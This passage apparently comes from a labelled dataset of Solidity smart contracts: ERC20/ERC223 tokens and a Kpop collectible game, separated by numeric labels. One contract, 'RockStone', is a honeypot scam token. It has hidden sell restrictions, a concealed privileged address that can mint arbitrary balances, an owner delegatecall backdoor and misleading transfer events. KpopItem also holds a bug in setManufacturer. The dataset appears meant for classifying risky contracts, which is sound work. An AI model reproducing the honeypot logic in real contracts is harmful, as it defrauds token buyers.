uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract FreezableToken is StandardToken {
mapping (bytes32 => uint64) internal chains;
mapping (bytes32 => uint) internal freezings;
mapping (address => uint) internal freezingBalance;
event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
function balanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner) + freezingBalance[_owner];
}
function actualBalanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner);
}
function freezingBalanceOf(address _owner) public view returns (uint256 balance) {
return freezingBalance[_owner];
}
function freezingCount(address _addr) public view returns (uint count) {
uint64 release = chains[toKey(_addr, 0)];
while (release != 0) {
count ++;
release = chains[toKey(_addr, release)];
}
}
function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) {
for (uint i = 0; i < _index + 1; i ++) {
_release = chains[toKey(_addr, _release)];
if (_release == 0) {
return;
}
}
_balance = freezings[toKey(_addr, _release)];
}
function freezeTo(address _to, uint _amount, uint64 _until) public {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
Freezed(_to, _until, _amount);
}
function releaseOnce() public {
bytes32 headKey = toKey(msg.sender, 0);
uint64 head = chains[headKey];
require(head != 0);
require(uint64(block.timestamp) > head);
bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
uint amount = freezings[currentKey];
delete freezings[currentKey];
balances[msg.sender] = balances[msg.sender].add(amount);
freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount);
if (next == 0) {
delete chains[headKey];
}
else {
chains[headKey] = next;
delete chains[currentKey];
}
Released(msg.sender, amount);
}
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal pure returns (bytes32 result) {
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, _release)
}
}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
bytes32 key = toKey(_to, _until);
bytes32 parentKey = toKey(_to, uint64(0));
uint64 next = chains[parentKey];
if (next == 0) {
chains[parentKey] = _until;
return;
}
bytes32 nextKey = toKey(_to, next);
uint parent;
while (next != 0 && _until > next) {
parent = next;
parentKey = nextKey;
next = chains[nextKey];
nextKey = toKey(_to, next);
}
if (_until == next) {
return;
}
if (next != 0) {
chains[key] = next;
}
chains[parentKey] = _until;
}
}
contract ERC223Receiver {
function tokenFallback(address _from, uint _value, bytes _data) public;
}
contract ERC223Basic is ERC20Basic {
function transfer(address to, uint value, bytes data) public returns (bool);
event Transfer(address indexed from, address indexed to, uint value, bytes data);
}
contract SuccessfulERC223Receiver is ERC223Receiver {
event Invoked(address from, uint value, bytes data);
function tokenFallback(address _from, uint _value, bytes _data) public {
Invoked(_from, _value, _data);
}
}
contract FailingERC223Receiver is ERC223Receiver {
function tokenFallback(address, uint, bytes) public {
revert();
}
}
contract ERC223ReceiverWithoutTokenFallback {
}
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
require(_value > 0);
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract FreezableMintableToken is FreezableToken, MintableToken {
function mintAndFreeze(address _to, uint _amount, uint64 _until) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
Mint(_to, _amount);
Freezed(_to, _until, _amount);
return true;
}
}
contract Consts {
uint constant TOKEN_DECIMALS = 20;
uint8 constant TOKEN_DECIMALS_UINT8 = 20;
uint constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS;
string constant TOKEN_NAME = "EJACOIN";
string constant TOKEN_SYMBOL = "EJAC";
bool constant PAUSED = false;
address constant TARGET_USER = 0x0FCF7C8FE43Bed107105A6892D117F2D6Da11F04;
bool constant CONTINUE_MINTING = true;
}
contract ERC223Token is ERC223Basic, BasicToken, FailingERC223Receiver {
using SafeMath for uint;
function transfer(address _to, uint _value, bytes _data) public returns (bool) {
uint codeLength;
assembly {
codeLength := extcodesize(_to)
}
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
if(codeLength > 0) {
ERC223Receiver receiver = ERC223Receiver(_to);
receiver.tokenFallback(msg.sender, _value, _data);
}
Transfer(msg.sender, _to, _value, _data);
return true;
}
function transfer(address _to, uint256 _value) public returns (bool) {
bytes memory empty;
return transfer(_to, _value, empty);
}
}
contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable
, ERC223Token
{
event Initialized();
bool public initialized = false;
function MainToken() public {
init();
transferOwnership(TARGET_USER);
}
function init() private {
require(!initialized);
initialized = true;
if (PAUSED) {
pause();
}
address[1] memory addresses = [address(0x0fcf7c8fe43bed107105a6892d117f2d6da11f04)];
uint[1] memory amounts = [uint(25000000000000000000000000000)];
uint64[1] memory freezes = [uint64(0)];
for (uint i = 0; i < addresses.length; i++) {
if (freezes[i] == 0) {
mint(addresses[i], amounts[i]);
} else {
mintAndFreeze(addresses[i], amounts[i], freezes[i]);
}
}
if (!CONTINUE_MINTING) {
finishMinting();
}
Initialized();
}
function name() pure public returns (string _name) {
return TOKEN_NAME;
}
function symbol() pure public returns (string _symbol) {
return TOKEN_SYMBOL;
}
function decimals() pure public returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transfer(_to, _value);
}
} | 0 | 0 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract RockStone {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function swap(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1089755605351626874222503051495683696555102411980));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 1 | 3,207 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC721 {
function approve(address _to, uint _tokenId) public;
function balanceOf(address _owner) public view returns (uint balance);
function implementsERC721() public pure returns (bool);
function ownerOf(uint _tokenId) public view returns (address addr);
function takeOwnership(uint _tokenId) public;
function totalSupply() public view returns (uint total);
function transferFrom(address _from, address _to, uint _tokenId) public;
function transfer(address _to, uint _tokenId) public;
event Transfer(address indexed from, address indexed to, uint tokenId);
event Approval(address indexed owner, address indexed approved, uint tokenId);
}
contract KpopToken is ERC721 {
address public author;
address public coauthor;
string public constant NAME = "Kpopio";
string public constant SYMBOL = "KpopToken";
uint public GROWTH_BUMP = 0.1 ether;
uint public MIN_STARTING_PRICE = 0.002 ether;
uint public PRICE_INCREASE_SCALE = 120;
struct Celeb {
string name;
}
Celeb[] public celebs;
mapping(uint => address) public tokenIdToOwner;
mapping(uint => uint) public tokenIdToPrice;
mapping(address => uint) public userToNumCelebs;
mapping(uint => address) public tokenIdToApprovedRecipient;
event Transfer(address indexed from, address indexed to, uint tokenId);
event Approval(address indexed owner, address indexed approved, uint tokenId);
event CelebSold(uint tokenId, uint oldPrice, uint newPrice, string celebName, address prevOwner, address newOwner);
function KpopToken() public {
author = msg.sender;
coauthor = msg.sender;
}
function _transfer(address _from, address _to, uint _tokenId) private {
require(ownerOf(_tokenId) == _from);
require(!isNullAddress(_to));
require(balanceOf(_from) > 0);
uint prevBalances = balanceOf(_from) + balanceOf(_to);
tokenIdToOwner[_tokenId] = _to;
userToNumCelebs[_from]--;
userToNumCelebs[_to]++;
delete tokenIdToApprovedRecipient[_tokenId];
Transfer(_from, _to, _tokenId);
assert(balanceOf(_from) + balanceOf(_to) == prevBalances);
}
function buy(uint _tokenId) payable public {
address prevOwner = ownerOf(_tokenId);
uint currentPrice = tokenIdToPrice[_tokenId];
require(prevOwner != msg.sender);
require(!isNullAddress(msg.sender));
require(msg.value >= currentPrice);
uint payment = uint(SafeMath.div(SafeMath.mul(currentPrice, 92), 100));
uint leftover = SafeMath.sub(msg.value, currentPrice);
uint newPrice;
_transfer(prevOwner, msg.sender, _tokenId);
if (currentPrice < GROWTH_BUMP) {
newPrice = SafeMath.mul(currentPrice, 2);
} else {
newPrice = SafeMath.div(SafeMath.mul(currentPrice, PRICE_INCREASE_SCALE), 100);
}
tokenIdToPrice[_tokenId] = newPrice;
if (prevOwner != address(this)) {
prevOwner.transfer(payment);
}
CelebSold(_tokenId, currentPrice, newPrice,
celebs[_tokenId].name, prevOwner, msg.sender);
msg.sender.transfer(leftover);
}
function balanceOf(address _owner) public view returns (uint balance) {
return userToNumCelebs[_owner];
}
function ownerOf(uint _tokenId) public view returns (address addr) {
return tokenIdToOwner[_tokenId];
}
function totalSupply() public view returns (uint total) {
return celebs.length;
}
function transfer(address _to, uint _tokenId) public {
_transfer(msg.sender, _to, _tokenId);
}
function createCeleb(string _name, uint _price) public onlyAuthors {
require(_price >= MIN_STARTING_PRICE);
uint tokenId = celebs.push(Celeb(_name)) - 1;
tokenIdToOwner[tokenId] = author;
tokenIdToPrice[tokenId] = _price;
userToNumCelebs[author]++;
}
function withdraw(uint _amount, address _to) public onlyAuthors {
require(!isNullAddress(_to));
require(_amount <= this.balance);
_to.transfer(_amount);
}
function withdrawAll() public onlyAuthors {
require(author != 0x0);
require(coauthor != 0x0);
uint halfBalance = uint(SafeMath.div(this.balance, 2));
author.transfer(halfBalance);
coauthor.transfer(halfBalance);
}
function setCoAuthor(address _coauthor) public onlyAuthor {
require(!isNullAddress(_coauthor));
coauthor = _coauthor;
}
function getCeleb(uint _tokenId) public view returns (
string name,
uint price,
address owner
) {
name = celebs[_tokenId].name;
price = tokenIdToPrice[_tokenId];
owner = tokenIdToOwner[_tokenId];
}
function approve(address _to, uint _tokenId) public {
require(msg.sender == ownerOf(_tokenId));
tokenIdToApprovedRecipient[_tokenId] = _to;
Approval(msg.sender, _to, _tokenId);
}
function transferFrom(address _from, address _to, uint _tokenId) public {
require(ownerOf(_tokenId) == _from);
require(isApproved(_to, _tokenId));
require(!isNullAddress(_to));
_transfer(_from, _to, _tokenId);
}
function takeOwnership(uint _tokenId) public {
require(!isNullAddress(msg.sender));
require(isApproved(msg.sender, _tokenId));
address currentOwner = tokenIdToOwner[_tokenId];
_transfer(currentOwner, msg.sender, _tokenId);
}
function implementsERC721() public pure returns (bool) {
return true;
}
modifier onlyAuthor() {
require(msg.sender == author);
_;
}
modifier onlyAuthors() {
require(msg.sender == author || msg.sender == coauthor);
_;
}
function setMinStartingPrice(uint _price) public onlyAuthors {
MIN_STARTING_PRICE = _price;
}
function setGrowthBump(uint _bump) public onlyAuthors {
GROWTH_BUMP = _bump;
}
function setPriceIncreaseScale(uint _scale) public onlyAuthors {
PRICE_INCREASE_SCALE = _scale;
}
function isApproved(address _to, uint _tokenId) private view returns (bool) {
return tokenIdToApprovedRecipient[_tokenId] == _to;
}
function isNullAddress(address _addr) private pure returns (bool) {
return _addr == 0x0;
}
}
contract KpopItem is ERC721 {
address public author;
address public coauthor;
address public manufacturer;
string public constant NAME = "KpopItem";
string public constant SYMBOL = "KpopItem";
uint public GROWTH_BUMP = 0.1 ether;
uint public MIN_STARTING_PRICE = 0.002 ether;
uint public PRICE_INCREASE_SCALE = 120;
uint public DIVIDEND = 3;
address public KPOPIO_CONTRACT_ADDRESS = 0xB2eE4ACf44b12f85885F23494A739357575a1760;
struct Item {
string name;
uint[6] traits;
}
Item[] public items;
mapping(uint => address) public tokenIdToOwner;
mapping(uint => uint) public tokenIdToCelebId;
mapping(uint => uint) public tokenIdToPrice;
mapping(address => uint) public userToNumItems;
mapping(uint => address) public tokenIdToApprovedRecipient;
event Transfer(address indexed from, address indexed to, uint tokenId);
event Approval(address indexed owner, address indexed approved, uint tokenId);
event ItemSold(uint tokenId, uint oldPrice, uint newPrice, string celebName, address prevOwner, address newOwner);
function KpopItem() public {
author = msg.sender;
coauthor = msg.sender;
}
function _transfer(address _from, address _to, uint _tokenId) private {
require(ownerOf(_tokenId) == _from);
require(!isNullAddress(_to));
require(balanceOf(_from) > 0);
uint prevBalances = balanceOf(_from) + balanceOf(_to);
tokenIdToOwner[_tokenId] = _to;
userToNumItems[_from]--;
userToNumItems[_to]++;
delete tokenIdToApprovedRecipient[_tokenId];
Transfer(_from, _to, _tokenId);
assert(balanceOf(_from) + balanceOf(_to) == prevBalances);
}
function buy(uint _tokenId) payable public {
address prevOwner = ownerOf(_tokenId);
uint currentPrice = tokenIdToPrice[_tokenId];
require(prevOwner != msg.sender);
require(!isNullAddress(msg.sender));
require(msg.value >= currentPrice);
uint dividend = uint(SafeMath.div(SafeMath.mul(currentPrice, DIVIDEND), 100));
uint payment = uint(SafeMath.div(SafeMath.mul(currentPrice, 90), 100));
uint leftover = SafeMath.sub(msg.value, currentPrice);
uint newPrice;
_transfer(prevOwner, msg.sender, _tokenId);
if (currentPrice < GROWTH_BUMP) {
newPrice = SafeMath.mul(currentPrice, 2);
} else {
newPrice = SafeMath.div(SafeMath.mul(currentPrice, PRICE_INCREASE_SCALE), 100);
}
tokenIdToPrice[_tokenId] = newPrice;
if (prevOwner != address(this)) {
prevOwner.transfer(payment);
}
uint celebId = celebOf(_tokenId);
KpopToken KPOPIO = KpopToken(KPOPIO_CONTRACT_ADDRESS);
address celebOwner = KPOPIO.ownerOf(celebId);
if (celebOwner != address(this) && !isNullAddress(celebOwner)) {
celebOwner.transfer(dividend);
}
ItemSold(_tokenId, currentPrice, newPrice,
items[_tokenId].name, prevOwner, msg.sender);
msg.sender.transfer(leftover);
}
function balanceOf(address _owner) public view returns (uint balance) {
return userToNumItems[_owner];
}
function ownerOf(uint _tokenId) public view returns (address addr) {
return tokenIdToOwner[_tokenId];
}
function celebOf(uint _tokenId) public view returns (uint celebId) {
return tokenIdToCelebId[_tokenId];
}
function totalSupply() public view returns (uint total) {
return items.length;
}
function transfer(address _to, uint _tokenId) public {
_transfer(msg.sender, _to, _tokenId);
}
function createItem(string _name, uint _price, uint _celebId, uint[6] _traits) public onlyManufacturer {
require(_price >= MIN_STARTING_PRICE);
uint tokenId = items.push(Item({name: _name, traits:_traits})) - 1;
tokenIdToOwner[tokenId] = author;
tokenIdToPrice[tokenId] = _price;
tokenIdToCelebId[tokenId] = _celebId;
userToNumItems[author]++;
}
function withdraw(uint _amount, address _to) public onlyAuthors {
require(!isNullAddress(_to));
require(_amount <= this.balance);
_to.transfer(_amount);
}
function withdrawAll() public onlyAuthors {
require(author != 0x0);
require(coauthor != 0x0);
uint halfBalance = uint(SafeMath.div(this.balance, 2));
author.transfer(halfBalance);
coauthor.transfer(halfBalance);
}
function setCoAuthor(address _coauthor) public onlyAuthor {
require(!isNullAddress(_coauthor));
coauthor = _coauthor;
}
function setManufacturer(address _manufacturer) public onlyAuthors {
require(!isNullAddress(_manufacturer));
coauthor = _manufacturer;
}
function getItem(uint _tokenId) public view returns (
string name,
uint price,
uint[6] traits,
address owner,
uint celebId
) {
name = items[_tokenId].name;
price = tokenIdToPrice[_tokenId];
traits = items[_tokenId].traits;
owner = tokenIdToOwner[_tokenId];
celebId = celebOf(_tokenId);
}
function approve(address _to, uint _tokenId) public {
require(msg.sender == ownerOf(_tokenId));
tokenIdToApprovedRecipient[_tokenId] = _to;
Approval(msg.sender, _to, _tokenId);
}
function transferFrom(address _from, address _to, uint _tokenId) public {
require(ownerOf(_tokenId) == _from);
require(isApproved(_to, _tokenId));
require(!isNullAddress(_to));
_transfer(_from, _to, _tokenId);
}
function takeOwnership(uint _tokenId) public {
require(!isNullAddress(msg.sender));
require(isApproved(msg.sender, _tokenId));
address currentOwner = tokenIdToOwner[_tokenId];
_transfer(currentOwner, msg.sender, _tokenId);
}
function implementsERC721() public pure returns (bool) {
return true;
}
modifier onlyAuthor() {
require(msg.sender == author);
_;
}
modifier onlyAuthors() {
require(msg.sender == author || msg.sender == coauthor);
_;
}
modifier onlyManufacturer() {
require(msg.sender == author || msg.sender == coauthor || msg.sender == manufacturer);
_;
}
function setMinStartingPrice(uint _price) public onlyAuthors {
MIN_STARTING_PRICE = _price;
}
function setGrowthBump(uint _bump) public onlyAuthors {
GROWTH_BUMP = _bump;
}
function setDividend(uint _dividend) public onlyAuthors {
DIVIDEND = _dividend;
}
function setPriceIncreaseScale(uint _scale) public onlyAuthors {
PRICE_INCREASE_SCALE = _scale;
}
function setKpopioContractAddress(address _address) public onlyAuthors {
KPOPIO_CONTRACT_ADDRESS = _address;
}
function isApproved(address _to, uint _tokenId) private view returns (bool) {
return tokenIdToApprovedRecipient[_tokenId] == _to;
}
function isNullAddress(address _addr) private pure returns (bool) {
return _addr == 0x0;
}
} | 1 | 4,318 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
